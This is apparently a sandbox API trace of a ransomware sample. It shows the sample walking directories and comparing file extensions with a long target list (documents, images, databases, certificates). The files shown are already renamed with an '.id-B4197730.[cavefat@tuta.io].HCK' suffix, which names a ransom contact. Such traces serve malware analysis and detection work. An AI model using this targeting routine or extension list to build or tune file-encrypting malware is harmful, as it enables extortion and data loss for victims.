[0224.193] lstrcmpiW (lpString1=".djvu", lpString2="].HCK") returned -1 [0224.193] lstrlenW (lpString=".dng") returned 4 [0224.193] lstrcmpiW (lpString1=".dng", lpString2=".HCK") returned -1 [0224.193] lstrlenW (lpString=".doc") returned 4 [0224.193] lstrcmpiW (lpString1=".doc", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".docm") returned 5 [0224.194] lstrcmpiW (lpString1=".docm", lpString2="].HCK") returned -1 [0224.194] lstrlenW (lpString=".docx") returned 5 [0224.194] lstrcmpiW (lpString1=".docx", lpString2="].HCK") returned -1 [0224.194] lstrlenW (lpString=".dot") returned 4 [0224.194] lstrcmpiW (lpString1=".dot", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".dotm") returned 5 [0224.194] lstrcmpiW (lpString1=".dotm", lpString2="].HCK") returned -1 [0224.194] lstrlenW (lpString=".dotx") returned 5 [0224.194] lstrcmpiW (lpString1=".dotx", lpString2="].HCK") returned -1 [0224.194] lstrlenW (lpString=".dpx") returned 4 [0224.194] lstrcmpiW (lpString1=".dpx", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".dqy") returned 4 [0224.194] lstrcmpiW (lpString1=".dqy", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".dsn") returned 4 [0224.194] lstrcmpiW (lpString1=".dsn", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".dt") returned 3 [0224.194] lstrcmpiW (lpString1=".dt", lpString2="HCK") returned -1 [0224.194] lstrlenW (lpString=".dtd") returned 4 [0224.194] lstrcmpiW (lpString1=".dtd", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".dwg") returned 4 [0224.194] lstrcmpiW (lpString1=".dwg", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".dwt") returned 4 [0224.194] lstrcmpiW (lpString1=".dwt", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".dx") returned 3 [0224.194] lstrcmpiW (lpString1=".dx", lpString2="HCK") returned -1 [0224.194] lstrlenW (lpString=".dxf") returned 4 [0224.194] lstrcmpiW (lpString1=".dxf", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".edml") returned 5 [0224.194] lstrcmpiW (lpString1=".edml", lpString2="].HCK") returned -1 [0224.194] lstrlenW (lpString=".efd") returned 4 [0224.194] lstrcmpiW (lpString1=".efd", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".elf") returned 4 [0224.194] lstrcmpiW (lpString1=".elf", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".emf") returned 4 [0224.194] lstrcmpiW (lpString1=".emf", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".emz") returned 4 [0224.194] lstrcmpiW (lpString1=".emz", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".epf") returned 4 [0224.194] lstrcmpiW (lpString1=".epf", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".eps") returned 4 [0224.194] lstrcmpiW (lpString1=".eps", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".epsf") returned 5 [0224.194] lstrcmpiW (lpString1=".epsf", lpString2="].HCK") returned -1 [0224.194] lstrlenW (lpString=".epsp") returned 5 [0224.194] lstrcmpiW (lpString1=".epsp", lpString2="].HCK") returned -1 [0224.194] lstrlenW (lpString=".erf") returned 4 [0224.194] lstrcmpiW (lpString1=".erf", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".exr") returned 4 [0224.194] lstrcmpiW (lpString1=".exr", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".f4v") returned 4 [0224.194] lstrcmpiW (lpString1=".f4v", lpString2=".HCK") returned -1 [0224.194] lstrlenW (lpString=".fido") returned 5 [0224.194] lstrcmpiW (lpString1=".fido", lpString2="].HCK") returned -1 [0224.195] lstrlenW (lpString=".flm") returned 4 [0224.195] lstrcmpiW (lpString1=".flm", lpString2=".HCK") returned -1 [0224.195] lstrlenW (lpString=".flv") returned 4 [0224.195] lstrcmpiW (lpString1=".flv", lpString2=".HCK") returned -1 [0224.195] lstrlenW (lpString=".frm") returned 4 [0224.195] lstrcmpiW (lpString1=".frm", lpString2=".HCK") returned -1 [0224.195] lstrlenW (lpString=".fxg") returned 4 [0224.195] lstrcmpiW (lpString1=".fxg", lpString2=".HCK") returned -1 [0224.195] lstrlenW (lpString=".geo") returned 4 [0224.195] lstrcmpiW (lpString1=".geo", lpString2=".HCK") returned -1 [0224.195] lstrlenW (lpString=".gif") returned 4 [0224.195] lstrcmpiW (lpString1=".gif", lpString2=".HCK") returned -1 [0224.195] lstrlenW (lpString=".grs") returned 4 [0224.195] lstrcmpiW (lpString1=".grs", lpString2=".HCK") returned -1 [0224.195] lstrlenW (lpString=".gz") returned 3 [0224.195] lstrcmpiW (lpString1=".gz", lpString2="HCK") returned -1 [0224.195] lstrlenW (lpString=".h") returned 2 [0224.195] lstrcmpiW (lpString1=".h", lpString2="CK") returned -1 [0224.195] lstrlenW (lpString=".hdr") returned 4 [0224.195] lstrcmpiW (lpString1=".hdr", lpString2=".HCK") returned 1 [0224.195] lstrlenW (lpString=".hpp") returned 4 [0224.195] lstrcmpiW (lpString1=".hpp", lpString2=".HCK") returned 1 [0224.195] lstrlenW (lpString=".hta") returned 4 [0224.195] lstrcmpiW (lpString1=".hta", lpString2=".HCK") returned 1 [0224.195] lstrlenW (lpString=".htc") returned 4 [0224.195] lstrcmpiW (lpString1=".htc", lpString2=".HCK") returned 1 [0224.195] lstrlenW (lpString=".htm") returned 4 [0224.195] lstrcmpiW (lpString1=".htm", lpString2=".HCK") returned 1 [0224.195] lstrlenW (lpString=".html") returned 5 [0224.195] lstrcmpiW (lpString1=".html", lpString2="].HCK") returned -1 [0224.195] lstrlenW (lpString=".icb") returned 4 [0224.195] lstrcmpiW (lpString1=".icb", lpString2=".HCK") returned 1 [0224.195] lstrlenW (lpString=".ics") returned 4 [0224.195] lstrcmpiW (lpString1=".ics", lpString2=".HCK") returned 1 [0224.195] lstrlenW (lpString=".iff") returned 4 [0224.195] lstrcmpiW (lpString1=".iff", lpString2=".HCK") returned 1 [0224.195] lstrlenW (lpString=".inc") returned 4 [0224.195] lstrcmpiW (lpString1=".inc", lpString2=".HCK") returned 1 [0224.195] lstrlenW (lpString=".indd") returned 5 [0224.195] lstrcmpiW (lpString1=".indd", lpString2="].HCK") returned -1 [0224.195] lstrlenW (lpString=".ini") returned 4 [0224.195] lstrcmpiW (lpString1=".ini", lpString2=".HCK") returned 1 [0224.195] lstrlenW (lpString=".iqy") returned 4 [0224.195] lstrcmpiW (lpString1=".iqy", lpString2=".HCK") returned 1 [0224.195] lstrlenW (lpString=".j2c") returned 4 [0224.195] lstrcmpiW (lpString1=".j2c", lpString2=".HCK") returned 1 [0224.195] lstrlenW (lpString=".j2k") returned 4 [0224.195] lstrcmpiW (lpString1=".j2k", lpString2=".HCK") returned 1 [0224.195] lstrlenW (lpString=".java") returned 5 [0224.195] lstrcmpiW (lpString1=".java", lpString2="].HCK") returned -1 [0224.195] lstrlenW (lpString=".jp2") returned 4 [0224.195] lstrcmpiW (lpString1=".jp2", lpString2=".HCK") returned 1 [0224.195] lstrlenW (lpString=".jpc") returned 4 [0224.195] lstrcmpiW (lpString1=".jpc", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".jpe") returned 4 [0224.196] lstrcmpiW (lpString1=".jpe", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".jpeg") returned 5 [0224.196] lstrcmpiW (lpString1=".jpeg", lpString2="].HCK") returned -1 [0224.196] lstrlenW (lpString=".jpf") returned 4 [0224.196] lstrcmpiW (lpString1=".jpf", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".jpg") returned 4 [0224.196] lstrcmpiW (lpString1=".jpg", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".jpx") returned 4 [0224.196] lstrcmpiW (lpString1=".jpx", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".js") returned 3 [0224.196] lstrcmpiW (lpString1=".js", lpString2="HCK") returned -1 [0224.196] lstrlenW (lpString=".jsf") returned 4 [0224.196] lstrcmpiW (lpString1=".jsf", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".json") returned 5 [0224.196] lstrcmpiW (lpString1=".json", lpString2="].HCK") returned -1 [0224.196] lstrlenW (lpString=".jsp") returned 4 [0224.196] lstrcmpiW (lpString1=".jsp", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".kdc") returned 4 [0224.196] lstrcmpiW (lpString1=".kdc", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".kmz") returned 4 [0224.196] lstrcmpiW (lpString1=".kmz", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".kwm") returned 4 [0224.196] lstrcmpiW (lpString1=".kwm", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".lasso") returned 6 [0224.196] lstrcmpiW (lpString1=".lasso", lpString2="o].HCK") returned -1 [0224.196] lstrlenW (lpString=".lbi") returned 4 [0224.196] lstrcmpiW (lpString1=".lbi", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".lgf") returned 4 [0224.196] lstrcmpiW (lpString1=".lgf", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".lgp") returned 4 [0224.196] lstrcmpiW (lpString1=".lgp", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".log") returned 4 [0224.196] lstrcmpiW (lpString1=".log", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".m1v") returned 4 [0224.196] lstrcmpiW (lpString1=".m1v", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".m4a") returned 4 [0224.196] lstrcmpiW (lpString1=".m4a", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".m4v") returned 4 [0224.196] lstrcmpiW (lpString1=".m4v", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".max") returned 4 [0224.196] lstrcmpiW (lpString1=".max", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".md") returned 3 [0224.196] lstrcmpiW (lpString1=".md", lpString2="HCK") returned -1 [0224.196] lstrlenW (lpString=".mda") returned 4 [0224.196] lstrcmpiW (lpString1=".mda", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".mdb") returned 4 [0224.196] lstrcmpiW (lpString1=".mdb", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".mde") returned 4 [0224.196] lstrcmpiW (lpString1=".mde", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".mdf") returned 4 [0224.196] lstrcmpiW (lpString1=".mdf", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".mdw") returned 4 [0224.196] lstrcmpiW (lpString1=".mdw", lpString2=".HCK") returned 1 [0224.196] lstrlenW (lpString=".mef") returned 4 [0224.196] lstrcmpiW (lpString1=".mef", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".mft") returned 4 [0224.197] lstrcmpiW (lpString1=".mft", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".mfw") returned 4 [0224.197] lstrcmpiW (lpString1=".mfw", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".mht") returned 4 [0224.197] lstrcmpiW (lpString1=".mht", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".mhtml") returned 6 [0224.197] lstrcmpiW (lpString1=".mhtml", lpString2="o].HCK") returned -1 [0224.197] lstrlenW (lpString=".mka") returned 4 [0224.197] lstrcmpiW (lpString1=".mka", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".mkidx") returned 6 [0224.197] lstrcmpiW (lpString1=".mkidx", lpString2="o].HCK") returned -1 [0224.197] lstrlenW (lpString=".mkv") returned 4 [0224.197] lstrcmpiW (lpString1=".mkv", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".mos") returned 4 [0224.197] lstrcmpiW (lpString1=".mos", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".mov") returned 4 [0224.197] lstrcmpiW (lpString1=".mov", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".mp3") returned 4 [0224.197] lstrcmpiW (lpString1=".mp3", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".mp4") returned 4 [0224.197] lstrcmpiW (lpString1=".mp4", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".mpeg") returned 5 [0224.197] lstrcmpiW (lpString1=".mpeg", lpString2="].HCK") returned -1 [0224.197] lstrlenW (lpString=".mpg") returned 4 [0224.197] lstrcmpiW (lpString1=".mpg", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".mpv") returned 4 [0224.197] lstrcmpiW (lpString1=".mpv", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".mrw") returned 4 [0224.197] lstrcmpiW (lpString1=".mrw", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".msg") returned 4 [0224.197] lstrcmpiW (lpString1=".msg", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".mxl") returned 4 [0224.197] lstrcmpiW (lpString1=".mxl", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".myd") returned 4 [0224.197] lstrcmpiW (lpString1=".myd", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".myi") returned 4 [0224.197] lstrcmpiW (lpString1=".myi", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".nef") returned 4 [0224.197] lstrcmpiW (lpString1=".nef", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".nrw") returned 4 [0224.197] lstrcmpiW (lpString1=".nrw", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".obj") returned 4 [0224.197] lstrcmpiW (lpString1=".obj", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".odb") returned 4 [0224.197] lstrcmpiW (lpString1=".odb", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".odc") returned 4 [0224.197] lstrcmpiW (lpString1=".odc", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".odm") returned 4 [0224.197] lstrcmpiW (lpString1=".odm", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".odp") returned 4 [0224.197] lstrcmpiW (lpString1=".odp", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".ods") returned 4 [0224.197] lstrcmpiW (lpString1=".ods", lpString2=".HCK") returned 1 [0224.197] lstrlenW (lpString=".oft") returned 4 [0224.197] lstrcmpiW (lpString1=".oft", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".one") returned 4 [0224.198] lstrcmpiW (lpString1=".one", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".onepkg") returned 7 [0224.198] lstrcmpiW (lpString1=".onepkg", lpString2="io].HCK") returned -1 [0224.198] lstrlenW (lpString=".onetoc2") returned 8 [0224.198] lstrcmpiW (lpString1=".onetoc2", lpString2=".io].HCK") returned 1 [0224.198] lstrlenW (lpString=".opt") returned 4 [0224.198] lstrcmpiW (lpString1=".opt", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".oqy") returned 4 [0224.198] lstrcmpiW (lpString1=".oqy", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".orf") returned 4 [0224.198] lstrcmpiW (lpString1=".orf", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".p12") returned 4 [0224.198] lstrcmpiW (lpString1=".p12", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".p7b") returned 4 [0224.198] lstrcmpiW (lpString1=".p7b", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".p7c") returned 4 [0224.198] lstrcmpiW (lpString1=".p7c", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".pam") returned 4 [0224.198] lstrcmpiW (lpString1=".pam", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".pbm") returned 4 [0224.198] lstrcmpiW (lpString1=".pbm", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".pct") returned 4 [0224.198] lstrcmpiW (lpString1=".pct", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".pcx") returned 4 [0224.198] lstrcmpiW (lpString1=".pcx", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".pdd") returned 4 [0224.198] lstrcmpiW (lpString1=".pdd", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".pdf") returned 4 [0224.198] lstrcmpiW (lpString1=".pdf", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".pdp") returned 4 [0224.198] lstrcmpiW (lpString1=".pdp", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".pef") returned 4 [0224.198] lstrcmpiW (lpString1=".pef", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".pem") returned 4 [0224.198] lstrcmpiW (lpString1=".pem", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".pff") returned 4 [0224.198] lstrcmpiW (lpString1=".pff", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".pfm") returned 4 [0224.198] lstrcmpiW (lpString1=".pfm", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".pfx") returned 4 [0224.198] lstrcmpiW (lpString1=".pfx", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".pgm") returned 4 [0224.198] lstrcmpiW (lpString1=".pgm", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".php") returned 4 [0224.198] lstrcmpiW (lpString1=".php", lpString2=".HCK") returned 1 [0224.198] lstrlenW (lpString=".php3") returned 5 [0224.198] lstrcmpiW (lpString1=".php3", lpString2="].HCK") returned -1 [0224.198] lstrlenW (lpString=".php4") returned 5 [0224.198] lstrcmpiW (lpString1=".php4", lpString2="].HCK") returned -1 [0224.198] lstrlenW (lpString=".php5") returned 5 [0224.198] lstrcmpiW (lpString1=".php5", lpString2="].HCK") returned -1 [0224.198] lstrlenW (lpString=".phtml") returned 6 [0224.198] lstrcmpiW (lpString1=".phtml", lpString2="o].HCK") returned -1 [0224.198] lstrlenW (lpString=".pict") returned 5 [0224.198] lstrcmpiW (lpString1=".pict", lpString2="].HCK") returned -1 [0224.199] lstrlenW (lpString=".pl") returned 3 [0224.199] lstrcmpiW (lpString1=".pl", lpString2="HCK") returned -1 [0224.199] lstrlenW (lpString=".pls") returned 4 [0224.199] lstrcmpiW (lpString1=".pls", lpString2=".HCK") returned 1 [0224.199] lstrlenW (lpString=".pm") returned 3 [0224.199] lstrcmpiW (lpString1=".pm", lpString2="HCK") returned -1 [0224.199] lstrlenW (lpString=".png") returned 4 [0224.199] lstrcmpiW (lpString1=".png", lpString2=".HCK") returned 1 [0224.199] lstrlenW (lpString=".pnm") returned 4 [0224.199] lstrcmpiW (lpString1=".pnm", lpString2=".HCK") returned 1 [0224.199] lstrlenW (lpString=".pot") returned 4 [0224.199] lstrcmpiW (lpString1=".pot", lpString2=".HCK") returned 1 [0224.199] lstrlenW (lpString=".potm") returned 5 [0224.199] lstrcmpiW (lpString1=".potm", lpString2="].HCK") returned -1 [0224.199] lstrlenW (lpString=".potx") returned 5 [0224.199] lstrcmpiW (lpString1=".potx", lpString2="].HCK") returned -1 [0224.199] lstrlenW (lpString=".ppa") returned 4 [0224.199] lstrcmpiW (lpString1=".ppa", lpString2=".HCK") returned 1 [0224.199] lstrlenW (lpString=".ppam") returned 5 [0224.199] lstrcmpiW (lpString1=".ppam", lpString2="].HCK") returned -1 [0224.199] lstrlenW (lpString=".ppm") returned 4 [0224.199] lstrcmpiW (lpString1=".ppm", lpString2=".HCK") returned 1 [0224.199] lstrlenW (lpString=".pps") returned 4 [0224.199] lstrcmpiW (lpString1=".pps", lpString2=".HCK") returned 1 [0224.199] lstrlenW (lpString=".ppsm") returned 5 [0224.199] lstrcmpiW (lpString1=".ppsm", lpString2="].HCK") returned -1 [0224.199] lstrlenW (lpString=".ppt") returned 4 [0224.199] lstrcmpiW (lpString1=".ppt", lpString2=".HCK") returned 1 [0224.199] lstrlenW (lpString=".pptm") returned 5 [0224.199] lstrcmpiW (lpString1=".pptm", lpString2="].HCK") returned -1 [0224.199] lstrlenW (lpString=".pptx") returned 5 [0224.199] lstrcmpiW (lpString1=".pptx", lpString2="].HCK") returned -1 [0224.199] lstrlenW (lpString=".prn") returned 4 [0224.199] lstrcmpiW (lpString1=".prn", lpString2=".HCK") returned 1 [0224.199] lstrlenW (lpString=".ps") returned 3 [0224.199] lstrcmpiW (lpString1=".ps", lpString2="HCK") returned -1 [0224.199] lstrlenW (lpString=".psb") returned 4 [0224.199] lstrcmpiW (lpString1=".psb", lpString2=".HCK") returned 1 [0224.199] lstrlenW (lpString=".psd") returned 4 [0224.199] lstrcmpiW (lpString1=".psd", lpString2=".HCK") returned 1 [0224.199] lstrlenW (lpString=".pst") returned 4 [0224.199] lstrcmpiW (lpString1=".pst", lpString2=".HCK") returned 1 [0224.199] lstrlenW (lpString=".ptx") returned 4 [0224.199] lstrcmpiW (lpString1=".ptx", lpString2=".HCK") returned 1 [0224.199] lstrlenW (lpString=".pub") returned 4 [0224.199] lstrcmpiW (lpString1=".pub", lpString2=".HCK") returned 1 [0224.199] lstrlenW (lpString=".pwm") returned 4 [0224.199] lstrcmpiW (lpString1=".pwm", lpString2=".HCK") returned 1 [0224.199] lstrlenW (lpString=".pxr") returned 4 [0224.199] lstrcmpiW (lpString1=".pxr", lpString2=".HCK") returned 1 [0224.199] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2a70254, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2a70254, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2a964c6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.200] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2c943ed, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2c943ed, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2cbaf30, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.200] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2c943ed, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2c943ed, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2cbaf30, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.210] FindClose (in: hFindFile=0x573668 | out: hFindFile=0x573668) returned 1 [0224.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.212] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0224.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.213] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573828 [0224.247] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.247] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2abc7d3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2abc7d3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2b08b0d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.247] lstrlenW (lpString="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK") returned 42 [0224.247] lstrlenW (lpString=".1cd") returned 4 [0224.247] lstrcmpiW (lpString1=".1cd", lpString2=".HCK") returned -1 [0224.247] lstrlenW (lpString=".3ds") returned 4 [0224.247] lstrcmpiW (lpString1=".3ds", lpString2=".HCK") returned -1 [0224.247] lstrlenW (lpString=".3fr") returned 4 [0224.247] lstrcmpiW (lpString1=".3fr", lpString2=".HCK") returned -1 [0224.247] lstrlenW (lpString=".3g2") returned 4 [0224.247] lstrcmpiW (lpString1=".3g2", lpString2=".HCK") returned -1 [0224.247] lstrlenW (lpString=".3gp") returned 4 [0224.247] lstrcmpiW (lpString1=".3gp", lpString2=".HCK") returned -1 [0224.247] lstrlenW (lpString=".7z") returned 3 [0224.247] lstrcmpiW (lpString1=".7z", lpString2="HCK") returned -1 [0224.247] lstrlenW (lpString=".accda") returned 6 [0224.248] lstrcmpiW (lpString1=".accda", lpString2="o].HCK") returned -1 [0224.248] lstrlenW (lpString=".accdb") returned 6 [0224.248] lstrcmpiW (lpString1=".accdb", lpString2="o].HCK") returned -1 [0224.248] lstrlenW (lpString=".accdc") returned 6 [0224.248] lstrcmpiW (lpString1=".accdc", lpString2="o].HCK") returned -1 [0224.248] lstrlenW (lpString=".accde") returned 6 [0224.248] lstrcmpiW (lpString1=".accde", lpString2="o].HCK") returned -1 [0224.248] lstrlenW (lpString=".accdt") returned 6 [0224.248] lstrcmpiW (lpString1=".accdt", lpString2="o].HCK") returned -1 [0224.248] lstrlenW (lpString=".accdw") returned 6 [0224.248] lstrcmpiW (lpString1=".accdw", lpString2="o].HCK") returned -1 [0224.248] lstrlenW (lpString=".adb") returned 4 [0224.248] lstrcmpiW (lpString1=".adb", lpString2=".HCK") returned -1 [0224.248] lstrlenW (lpString=".adp") returned 4 [0224.248] lstrcmpiW (lpString1=".adp", lpString2=".HCK") returned -1 [0224.248] lstrlenW (lpString=".ai") returned 3 [0224.248] lstrcmpiW (lpString1=".ai", lpString2="HCK") returned -1 [0224.248] lstrlenW (lpString=".ai3") returned 4 [0224.248] lstrcmpiW (lpString1=".ai3", lpString2=".HCK") returned -1 [0224.248] lstrlenW (lpString=".ai4") returned 4 [0224.248] lstrcmpiW (lpString1=".ai4", lpString2=".HCK") returned -1 [0224.248] lstrlenW (lpString=".ai5") returned 4 [0224.248] lstrcmpiW (lpString1=".ai5", lpString2=".HCK") returned -1 [0224.248] lstrlenW (lpString=".ai6") returned 4 [0224.248] lstrcmpiW (lpString1=".ai6", lpString2=".HCK") returned -1 [0224.248] lstrlenW (lpString=".ai7") returned 4 [0224.248] lstrcmpiW (lpString1=".ai7", lpString2=".HCK") returned -1 [0224.248] lstrlenW (lpString=".ai8") returned 4 [0224.248] lstrcmpiW (lpString1=".ai8", lpString2=".HCK") returned -1 [0224.248] lstrlenW (lpString=".anim") returned 5 [0224.248] lstrcmpiW (lpString1=".anim", lpString2="].HCK") returned -1 [0224.248] lstrlenW (lpString=".arw") returned 4 [0224.248] lstrcmpiW (lpString1=".arw", lpString2=".HCK") returned -1 [0224.248] lstrlenW (lpString=".as") returned 3 